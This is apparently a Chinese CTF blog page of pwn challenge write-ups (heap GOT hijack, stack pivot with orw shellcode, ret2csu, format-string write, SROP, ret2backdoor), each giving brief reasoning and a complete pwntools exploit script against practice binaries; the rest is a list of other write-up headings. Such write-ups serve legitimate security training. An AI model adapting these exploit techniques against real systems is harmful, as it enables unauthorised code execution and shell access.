更坏的是，我们似乎并没有操纵栈的机会，只能通过劫持 got 表短暂地劫持程序流程，，，

所以这里有一个巧妙的方法：注意到 system 的参数为 rdi ，所以我们可以把 free 劫持为 system_plt ，由于 free 的参数是我们自己可以设定的，通过在某个索引为 idx 的 chunk 上写入 “/bin/sh\x00” ，调用 delete_heap(idx) 后即可执行 system("/bin/sh") 提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./easyheap')
else:
	p = remote('node5.buuoj.cn', 26200)

def pcreate(size, content):
	p.recvuntil(b'choice :')
	p.sendline(b'1')
	p.recvuntil(b'Heap : ')
	p.sendline(str(size).encode())
	p.recvuntil(b'heap:')
	p.sendline(content)
	
def pedit(index, size, content):
	p.recvuntil(b'choice :')
	p.sendline(b'2')
	p.recvuntil(b'Index :')
	p.sendline(str(index).encode())
	p.recvuntil(b'Heap : ')
	p.sendline(str(size).encode())
	p.recvuntil(b'heap : ')
	p.sendline(content)
	
def pdelete(index):
	p.recvuntil(b'choice :')
	p.sendline(b'3')
	p.recvuntil(b'Index :')
	p.sendline(str(index).encode())

def attack():
	pcreate(0x68, b'')
	pcreate(0x68, b'')
	pcreate(0x68, b'')
	pdelete(2)

	payload = b'A' * 0x68 + p64(0x7f) + p64(0x6020ad)
	pedit(1, len(payload), payload)

	pcreate(0x68, b'')
	payload = b'A' * 35 + p64(0x602018)
	pcreate(0x68, payload)

	payload = p64(0x400700)
	pedit(0, len(payload), payload)

	payload = b'/bin/sh\x00'
	pedit(1, len(payload), payload)

	pdelete(1)

	p.interactive()

attack()

BUUCTF-NewStarCTF-2023-orwrop 题解

Mon, 12 Jan 2026 11:40:00 +0000

题目

题目链接

checksec

有 canary 保护

IDA

有沙箱，考虑 orw

可利用格式化字符串漏洞泄露 canary

然后发现 mmap 开了一个 rwx 区域

考虑栈迁移和 ret2shellcode

我们可以在第一次溢出时迁移 rbp 并再次调用溢出漏洞，然后由于 buf 的写入是以 rbp 为基准的，所以在第二次溢出时栈已迁移，可以直接在 rwx 段上布局 shellcode 实现 orw

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('ezorw')

io = process('./ezorw') 

fmt = b'%11$p'

io.recvuntil(b'sandbox\n')
io.sendline(fmt)

canary = p64(int(io.recv(18), 16))
log.info(f'canary = {hex(u64(canary))}')

io.recvuntil(b'now\n')

rbp_addr = p64(0x66660000 + 0x100)
rsp_s_rip_addr = p64(0x66660000 + 0x100 + 0x10)
read_addr = p64(0x401373)

padding = 40
payload = b'A' * padding + canary + rbp_addr + read_addr
io.sendline(payload)

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
payload = b'A' * padding + canary + rbp_addr + rsp_s_rip_addr + asm(shellcode)
io.recvuntil(b'now\n')
io.sendline(payload)
all_output = io.recvall(timeout=5)
log.info(all_output.decode('utf-8', errors='ignore'))

BUUCTF-NewStarCTF-ret2csu1 题解

Mon, 12 Jan 2026 11:10:00 +0000

题目

题目链接

checksec

IDA

csu 中有 call [r12 + rbx*8] ，令 r12 为指向 backdoor 地址的一个地址即 gift3 ， rbp 为 0 即可调用 backdoor

根据 execve 的参数定义，令 rdi -> “/bin/cat\x00” 即 rdi = aBinCat , rsi = gift2 , rdx = 0 再调用 backdoor 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ret2csu1')

csu1 = p64(0x40072A)
csu2 = p64(0x400710)
rdi = p64(0x4007BB)
rsi = p64(0x601050)
backdoor = p64(0x601068)

padding = 32 + 8

payload = b'A' * padding + csu1 + p64(0) + p64(1) + backdoor + rdi + rsi + p64(0) + csu2

io.recvuntil(b'it!\n')
io.sendline(payload)
io.interactive()

BUUCTF-jarvisoj_fm 题解

Mon, 12 Jan 2026 10:23:00 +0000

题目

题目链接

checksec

IDA

利用格式化字符串漏洞篡改 x 为 4 即可，注意这里是 32 位

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

p = process('./fm')

x_addr = p32(0x804A02C)
payload = x_addr + b'%11$n'
p.sendline(payload)

p.interactive()

BUUCTF-qctf2018_stack2 题解

Mon, 12 Jan 2026 09:58:00 +0000

题目

题目链接

checksec

IDA

有一个利用 v13 越界的漏洞，直接劫持返回地址到后门即可

backdoor

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


from pwn import *

context.log_level = "debug"
context.arch = "i386"

io = process("./stack2")

io.recvuntil(b"have:\n")
io.sendline(b'1')

io.recvuntil(b"numbers\n")
io.sendline(b'1')
io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'132')
io.recvuntil(b"number:\n")
io.sendline(b"155")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'133')
io.recvuntil(b"number:\n")
io.sendline(b"133")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'134')
io.recvuntil(b"number:\n")
io.sendline(b"4")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'135')
io.recvuntil(b"number:\n")
io.sendline(b"8")

io.recvuntil(b"exit\n")
io.sendline(b'5')

io.interactive()

BUUCTF-rootersctf_2019_srop 题解

Mon, 12 Jan 2026 09:32:00 +0000

题目

题目链接

checksec

vmmap

注意到 0x402000 开始有 rw 权限，在没法泄露栈地址时考虑栈迁移到上面

IDA

代码很简洁，有一个栈溢出漏洞，且有 pop rax; syscall; leave; retn; gadget ，很方便进行 srop

思路

考虑利用 srop 与栈迁移，在 0x402000 处布局栈：

1
2
3
4
5
6
7


+-------------------+
| ret2gadget | 0x402010 (rsp)
+-------------------+
| rbp | 0x402008
+-------------------+
| "/bin/sh\x00" | 0x402000
+-------------------+

利用 gadget 调用 execve syscall 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


from pwn import *

elf = ELF("./srop")
context.clear()
context.arch = "amd64"
context.log_level = 'debug'

io = process("./srop")

pop_rax_syscall_leave_retn = 0x401032
syscall_leave_retn = 0x401033

frame1 = SigreturnFrame(kernel="amd64")
frame1.rax = 0
frame1.rdi = 0
frame1.rsi = 0x402000
frame1.rdx = 0x400
frame1.rip = syscall_leave_retn
frame1.rbp = 0x402008
frame1.rsp = 0x402010

rax = p64(0xf)
payload1 = b"A" * (0x80 + 8) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame1)

io.recvuntil(b'CTF?\n')
io.sendline(payload1)

path = b"/bin/sh\x00"

frame2 = SigreturnFrame(kernel="amd64")
frame2.rax = 59
frame2.rdi = 0x402000
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_leave_retn

payload2 = path + p64(0x402008) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame2)


io.sendline(payload2)
io.interactive()

BUUCTF-bjdctf_2020_babystack 题解

Wed, 29 Oct 2025 12:17:00 +0000

题目

题目链接

checksec

IDA

很显然，由于 nbytes 可以被赋予一个较大的值，使得 buf 可以被溢出。

backdoor

思路

利用的栈溢出漏洞覆盖函数返回地址，使之返回到这个后门函数提权即可。

附一个图示：

根据 buf 的位置 [rbp-10h] 可构造 payload = b'A' * (16 + 8) + backdoor_addr 实现攻击，由于需要栈对齐，其中，backdoor_addr = 0x4006ea ，而不是 backdoor_addr = 0x4006e6

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./bjdctf_2020_babystack')

p.recvuntil(b'name:\n')

payload = b'40'
p.sendline(payload)

p.recvuntil(b'name?\n')

backdoor_addr = p64(0x4006ea)
payload = b'A' * (16 + 8) + backdoor_addr

p.sendline(payload)

p.interactive()

Pwn 题解 on RatherHard の Blog

据说是 NeSE 考核题目的题解

checksec

IDA

main

read_packet

create_packet

packet_parse_line

add_filed

get_filed_value

user_login

user_register

allocate_task

search_user_by_token

run_task

free_packet

do_task

task_log

结构体分析

漏洞分析

exp

NSSCTF-CISCN-2022-house_of_cat 题解

题目

checksec

seccomp

IDA

main

handle_command

parse_command

execute_command

menu

add

edit

show

delete

攻击思路

exp

NSSCTF-LitCTF-2025-master_of_rop 题解

题目

攻击思路

exp

NSSCTF-CISCN-2021-silverwolf 题解

题目

checksec

IDA

main

initbuf

allocate

edit

show

delete

攻击思路

setcontext

exp

NSSCTF-西湖论剑-2022-babycalc 题解

题目

IDA

main

calc

got

stack

攻击思路

exp

NSSCTF-GHCTF-2025-ret2libc2 题解

题目

checksec

vmmap

IDA

main

func

got

onegadget

攻击思路

exp

NSSCTF-强网杯-2022-devnull 题解

题目

vmmap

IDA

main

vuln

NSSCTF-GHCTF-2025-真会布置栈吗？题解